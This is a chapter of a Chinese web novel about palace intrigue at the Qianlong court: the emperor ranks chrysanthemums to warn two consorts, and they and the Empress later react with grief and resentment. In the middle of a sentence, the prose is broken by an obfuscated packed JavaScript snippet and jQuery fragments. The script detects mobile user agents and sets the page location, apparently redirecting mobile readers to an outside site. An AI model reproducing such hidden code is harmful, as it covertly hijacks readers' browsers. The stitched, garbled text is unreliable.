待这一条走廊上的菊花全部评完,皇上转身看向三位妃嫔,问了个很奇怪的问题:“你们觉得这些菊花应该怎么摆放?”
纯贵妃和嘉妃一愣。
皇上一指点向魏敏:“你来说。”
魏敏已经明白了皇上的意思。她看嘉妃一眼,垂下眼皮面无表情地说:“启禀皇上,既然皇上您给这些菊花评了等,那第一等就该摆在离您最近的地方,第二等就该摆在第一等后面,第三等摆在第二等后面,如此按照等级依次排列下来。”
“哦?”皇上意味不明地打量她,“你为什么要这么摆?”
魏敏平淡的语调里带有一种冷硬的残忍:“因为什么等级就该摆在什么位置上,不可以妄想不属于自己的位置。”
纯贵妃嘉妃两人蓦地白了脸,她们都听懂了。
皇上和魏敏还在一唱一和。或者说皇上单方面拉着魏敏唱戏,魏敏被指定了,就不得不跟着附和。
“那如果有一盆菊花硬要呆在不属于自己的位置呢?”
魏敏顿了顿,没有直接回答:“那就要看您想怎么处置了,毕竟您才是花园的主人。”
皇上的视线落在魏敏的脸上,带着一种锋锐的压迫。魏敏强撑着,一脸平静,竭力不露出半分怯色。
半晌,皇上收回目光,感慨道:“是啊,我是花园的主人,也是爱花惜花之人。如果有花硬要呆在不属于她的位置上,砸了这花,我心中不忍,但也再不想看见这花了,便只好将这花挪出园子,让她自生自灭罢了。”
他看向纯贵妃嘉妃两人,目光压迫在她们身上,像刀刮一样:“你们明白吗?”
纯贵妃嘉妃脸色惨白,汗涔涔地齐声回答:“臣妾明白。”
皇上再次将目光投射到魏敏身上,夸道:“令嫔,朕给你的封号,当真是名副其实啊。”
魏敏低下头:“臣妾惶恐。”
“好了,惶恐什么?朕夸你呢。”皇上的态度忽地温和下来,伸手揽过她的身子,“朕的折子还没批完,养心殿缺一位红袖添香之人,你去给朕磨墨吧。”
魏敏温驯道:“皇上吩咐,臣妾求之不得。”
皇上满意地笑了两声,搂着魏敏往永和门走去。
魏敏提着心,如履薄冰般地依偎在他的肩头,小心翼翼地跟随着他的步速调整,眼角余光撇了嘉妃纯贵妃一眼。
魏敏跟纯贵妃嘉妃是利益竞争关系,没有生死大仇,但也永远做不成朋友。可是这一次,皇上选了她,没有选纯贵妃嘉妃,她赢过两个高位妃嫔,心里却不怎么高兴。
魏敏侍膳侍寝过那么多次,唯有这次,让她后背冷汗直冒。她真切地感受到,皇上,于后宫的女人们而言,是一具无法战胜的庞然大物。这具庞然大物甚至不用动真格的,只要稍微释放出一点不悦的气息,后宫的女人们便如娇花遇见烈阳直射,刹那间全都萎靡了,站都站不起来。
毫不夸张地说,她们的生死荣辱,只在乾隆的一念之间。而魏敏自己,也在‘她们’里面。
魏敏如今看似意气风发,可若是把这一切当了真,得意忘形,焉知纯贵妃嘉妃的今日不是她的来日?
魏敏收回目光,垂下眼皮,在心里提醒自己,谨慎谨慎再谨慎。
纯贵妃看着皇上的背影消失在门外,借助宫女的搀扶从地上站了起来:“嘉妃妹妹,本宫忽觉身子有些不适,先回去了。”
竟不等嘉妃答话,转身就走,和她以往的做事风格大相径庭。
然而嘉妃竟也无心计较,转身大步冲进正殿,她闷了一肚子怨气,用最后的理智大吼:“关门!本宫困了,要小憩片刻!”
华丽的殿门被合拢,室内被打上一层厚重的阴影。
嘉妃默立片刻,忽然抱起茶几上花瓶,抬手就要砸下去。
金珠一把抱住她的胳膊,跪在地上恳求她:“主子,不可啊!不可!!皇上前脚刚走,后脚您宫里就砸坏了东西,若有恶毒小人抓住此事说您心怀怨望,传到皇上耳朵里,您和两位阿哥的未来就全完了!”
嘉妃动作停滞在半空中,神色木木的,眼泪却汹涌而下。
金珠连忙起身,小心翼翼地夺走她手上的花瓶,放到旁边的茶几上,扶着她往炕榻那边走。
嘉妃屁股坐上软垫,扶着矮桌哭,越哭越厉害,越哭越委屈:“凭什么呀?凭什么呀?凭什么呀!”
她右手握拳,狠狠地捶矮桌,发出巨大的响声,矮桌几乎被锤散架:“我十五岁入潜邸,伺候他二十年,生了两个儿子,兢兢业业从未出过差错,世人要求女人做到的我全部做到了,我比皇后那个老妇差在哪里,他要如此对待我?”
金珠抽出帕子轻轻为她拭去眼泪,低声劝道:“主子,忍忍吧,谁叫她是皇后,您是嫔妃呢?”
嘉妃转头瞪她,眼白布满了血丝:“忍?我忍够了。”
她夺过金珠手里的帕子,胡乱在脸上擦了两下:“我渴了,去给我端杯茶来。”
金珠微微蹲身,转身离开。嘉妃看着她的背影远去,眼神深幽,心里的恶意疯长。
她近乎无声地喃喃自语:“我只能排第二等?那把第一等毁了,位置不就空出来了?”
另一边,长春宫,纯贵妃静静地坐在椅子里,久久不语。
夏荷看得心里直打鼓,鼓起勇气安慰道:“主子别生气。在奴才眼里,您才是第一等呢!后宫谁都比不过您,皇后也一样。”
纯贵妃无声冷笑:“你觉得有什么用?那要皇上觉得才行呢。”
她眼神幽幽:“是我命不好,托生在平民商人家里,不像皇后,有满蒙贵族的家世,先帝亲自指婚,多年不孕皇上也愿意等她,一生下儿子就可以做继承人。”
她眼角隐约闪烁着泪光:“我十五岁嫁给他,小心伺候他二十年,生了两个儿子一个女儿,到头却成了他嘴里的次品,我……我觉得我真像个笑话……”
看见纯贵妃的眼泪,夏荷慌了。
与纯贵妃柔弱婉约的外表不同,夏荷知道主子她心里其实是极为刚强坚韧的,只是皇上喜欢这样的女子,她才日复一日年复一年装作温柔模样。
夏荷伺候了纯贵妃这么久,几乎没见她掉过眼泪。
连生孩子踏鬼门关,痛到极致了,也不见她哭过。
如今皇上不过三两句话,主子便泪流满面,可见纯主子她是真的伤了心。
夏荷手足无措间,纯贵妃已经整理好了情绪,抽出帕子将眼泪擦干净了。
“没关系。”她平静地说,“当初我入潜邸做格格,论家世背景,我的地位是格格们当中最低的,如今不也做到纯贵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448604|159697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妃了?”
纯贵妃抬头,看向落在金色琉璃瓦上的夕阳,眼底燃烧着不甘的光芒:“路并没有消失,只是多了些阻碍,我要做的不过是遇山搬山,遇海填海罢了。”
许是觉得敲打已经足够,皇上再次回到圆明园时,将三个女人一起带了过去。
富察皇后过来问:“纯贵妃、嘉妃的安置好说,照旧住在镂月开云和天然图画罢了。但令嫔……她已经搬出永和宫,如今是依旧安排在天然图画,还是寻个什么别的地方?”
弘历想起令嫔热情火辣地躺在他怀里神神秘秘地说要给他一个惊喜的模样,心里有些期待,又有意将她和嘉妃分开:“让她住杏花春馆吧。”
富察皇后思索片刻,道:“杏花春馆能住的地方不多,春雨轩怡嫔已经住着了,也不好让令嫔住在偏殿,那就让她住在后面的翠微堂吧,虽然小些,但终究是一个院子。”
弘历想起翠微堂的规模,眉头微皱:“不妥,翠微堂就东北两座屋子,连太监的值房都没有,临时小憩可以,长久住着也太简陋了。”
他问道:“碧桐书院是谁在住着?”
富察皇后:“正殿是舒嫔,那儿房子多,还住了许多贵人、常在和答应。”
“上下天光呢?”弘历问完,紧接着又摇头否定,“上下天光的主殿临水而建,夏天倒是凉爽,可如今已经入秋,再住在水边容易风寒入体,也不妥当。”
他想了想,道:“让令嫔住武陵春色去吧。桃花坞,这个名字就很适合她。”
富察皇后见皇上如此细致妥帖地为令嫔打算,心中微沉,又听说要把令嫔安排到武陵春色,更是惊讶:“皇上,武陵春色不在后湖这边,让令嫔住过去,怕是不太妥当。”
弘历摆摆手:“无妨,朕另派一队侍卫过去驻守便可。”
富察皇后无言以对。
宫妃和侍卫是不能有直接接触的,如果要派一队侍卫过去驻守武陵春色,那就需要相应数量的太监将宫妃的生活区域和侍卫的驻守巡逻区域隔开。
也就是说,为了令嫔一个人,就要在武陵春色再布置出一个小后宫,皇上真是不嫌麻烦,真是大手笔啊。
从九洲清晏殿出来,富察皇后忍不住跟身边人感叹:“皇上对令嫔如此上心,总让我想起贵妃。”
贵妃就是高贵妃,但无人像称呼纯贵妃娴贵妃那般称呼她,因为她活着的时候,就是唯一的贵妃,和皇后一样,拥有独一无二的地位。
妙晴露出不可思议的表情:“不会吧?贵妃与皇上可是青梅竹马,情谊深厚,连您都要退让一射之地。那令嫔才伺候皇上几年?她就是再有本事,也不可能比得过贵妃。”
巧云也说:“主子娘娘您不用担心,皇上最念旧情了,您陪伴皇上近二十年,如今又生下七阿哥,一个小小令嫔,连您的脚趾头都比不上。”
“但愿吧。”富察皇后轻叹,“本宫只是觉得,一个年轻健康又有生育能力的贵妃真是太可怕了,本宫不想在后宫看见这样的人。”
巧云笑道:“您放心,后宫不会出现这样的人了。自从您在皇上面前戳破纯贵妃和嘉妃狼子野心,她们在皇上的心里就永远比不上贵妃,更加比不上您。”
富察皇后嘴角弯了弯,笑意却不达眼底:“希望一切都是我杞人忧天。”